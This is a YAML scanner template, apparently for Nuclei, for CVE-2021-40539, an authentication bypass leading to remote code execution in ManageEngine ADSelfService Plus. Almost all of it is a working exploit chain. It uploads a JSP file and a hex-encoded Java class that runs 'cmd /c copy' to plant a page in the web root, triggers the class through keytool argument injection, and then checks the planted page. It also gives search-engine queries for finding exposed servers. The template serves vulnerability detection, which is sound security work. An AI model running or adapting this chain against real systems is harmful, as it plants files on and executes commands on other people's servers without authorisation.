123 lines
5.6 KiB
YAML
123 lines
5.6 KiB
YAML
id: CVE-2021-40539
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info:
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name: Zoho ManageEngine ADSelfService Plus v6113 - Unauthenticated Remote Command Execution
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author: daffainfo,pdteam
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severity: critical
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description: Zoho ManageEngine ADSelfService Plus version 6113 and prior are vulnerable to a REST API authentication bypass vulnerability that can lead to remote code execution.
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impact: |
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Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands with the privileges of the affected application.
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remediation: Upgrade to ADSelfService Plus build 6114.
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reference:
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- https://attackerkb.com/topics/DMSNq5zgcW/cve-2021-40539/rapid7-analysis
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- https://www.synacktiv.com/publications/how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html
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- https://github.com/synacktiv/CVE-2021-40539
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- https://nvd.nist.gov/vuln/detail/CVE-2021-40539
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- https://www.manageengine.com
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-40539
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cwe-id: CWE-706
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epss-score: 0.97492
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epss-percentile: 0.99975
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cpe: cpe:2.3:a:zohocorp:manageengine_adselfservice_plus:4.5:4510:*:*:*:*:*:*
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metadata:
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max-request: 4
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vendor: zohocorp
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product: manageengine_adselfservice_plus
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shodan-query: http.title:"manageengine"
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fofa-query: title="manageengine"
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google-query: intitle:"adselfservice plus"
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tags: cve2021,cve,rce,ad,intrusive,manageengine,kev,zohocorp
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http:
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- raw:
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- |
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POST /./RestAPI/LogonCustomization HTTP/1.1
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Host: {{Hostname}}
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Content-Type: multipart/form-data; boundary=8b1ab266c41afb773af2e064bc526458
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--8b1ab266c41afb773af2e064bc526458
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Content-Disposition: form-data; name="methodToCall"
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unspecified
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--8b1ab266c41afb773af2e064bc526458
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Content-Disposition: form-data; name="Save"
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yes
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--8b1ab266c41afb773af2e064bc526458
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Content-Disposition: form-data; name="form"
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smartcard
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--8b1ab266c41afb773af2e064bc526458
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Content-Disposition: form-data; name="operation"
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Add
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--8b1ab266c41afb773af2e064bc526458
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Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="ws.jsp"
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<%@ page import="java.util.*,java.io.*"%>
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<%@ page import="java.security.MessageDigest"%>
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<%
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String cve = "CVE-2021-40539";
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MessageDigest alg = MessageDigest.getInstance("MD5");
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alg.reset();
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alg.update(cve.getBytes());
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byte[] digest = alg.digest();
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StringBuffer hashedpasswd = new StringBuffer();
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String hx;
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for (int i=0;i<digest.length;i++){
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hx = Integer.toHexString(0xFF & digest[i]);
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if(hx.length() == 1){hx = "0" + hx;}
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hashedpasswd.append(hx);
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}
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out.println(hashedpasswd.toString());
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%>
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--8b1ab266c41afb773af2e064bc526458--
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- |
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POST /./RestAPI/LogonCustomization HTTP/1.1
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Host: {{Hostname}}
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Content-Type: multipart/form-data; boundary=43992a07d9a30213782780204a9f032b
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--43992a07d9a30213782780204a9f032b
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Content-Disposition: form-data; name="methodToCall"
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unspecified
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--43992a07d9a30213782780204a9f032b
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Content-Disposition: form-data; name="Save"
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yes
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--43992a07d9a30213782780204a9f032b
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Content-Disposition: form-data; name="form"
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smartcard
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--43992a07d9a30213782780204a9f032b
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Content-Disposition: form-data; name="operation"
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Add
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--43992a07d9a30213782780204a9f032b
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Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="Si.class"
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{{hex_decode('CAFEBABE0000003400280D0A000C00160D0A0017001807001908001A08001B08001C08001D08001E0D0A0017001F0700200700210700220100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100083C636C696E69743E01000D0A537461636B4D61705461626C6507002001000D0A536F7572636546696C6501000753692E6A6176610C000D0A000E0700230C002400250100106A6176612F6C616E672F537472696E67010003636D640100022F63010004636F707901000677732E6A737001002A2E2E5C776562617070735C61647373705C68656C705C61646D696E2D67756964655C746573742E6A73700C002600270100136A6176612F696F2F494F457863657074696F6E01000253690100106A6176612F6C616E672F4F626A6563740100116A6176612F6C616E672F52756E74696D6501000D0A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B01000465786563010028285B4C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0021000B000C0000000000020001000D0A000E0001000F0000001D00010001000000052AB70001B10000000100100000000600010000000200080011000E0001000F00000064000500020000002BB800024B2A08BD000359031204535904120553590512065359061207535907120853B600094CA700044BB10001000000260029000D0A00020010000000120004000000050004000600260007002A00080012000000070002690700130000010014000000020015')}}
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--43992a07d9a30213782780204a9f032b--
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- |
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POST /./RestAPI/Connection HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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methodToCall=openSSLTool&action=generateCSR&KEY_LENGTH=1024+-providerclass+Si+-providerpath+%22..%5Cbin%22
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- |
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GET /help/admin-guide/test.jsp HTTP/1.1
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Host: {{Hostname}}
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matchers-condition: and
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matchers:
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- type: word
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words:
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- "114f7ce498a54a1be1de1f1e5731d0ea" # MD5 of CVE-2021-40539
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- type: status
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status:
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- 200
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# digest: 4a0a00473045022100c74e11c1bfb9c715d80f1c403010aa5a992ece98f99ff25aa12b5fdf7a4fe71c0220030dae45c7af30b2d89b390eb53b6bb2b534cf8be0e7c98a0cf98e490434fa5b:922c64590222798bb761d5b6d8e72950 |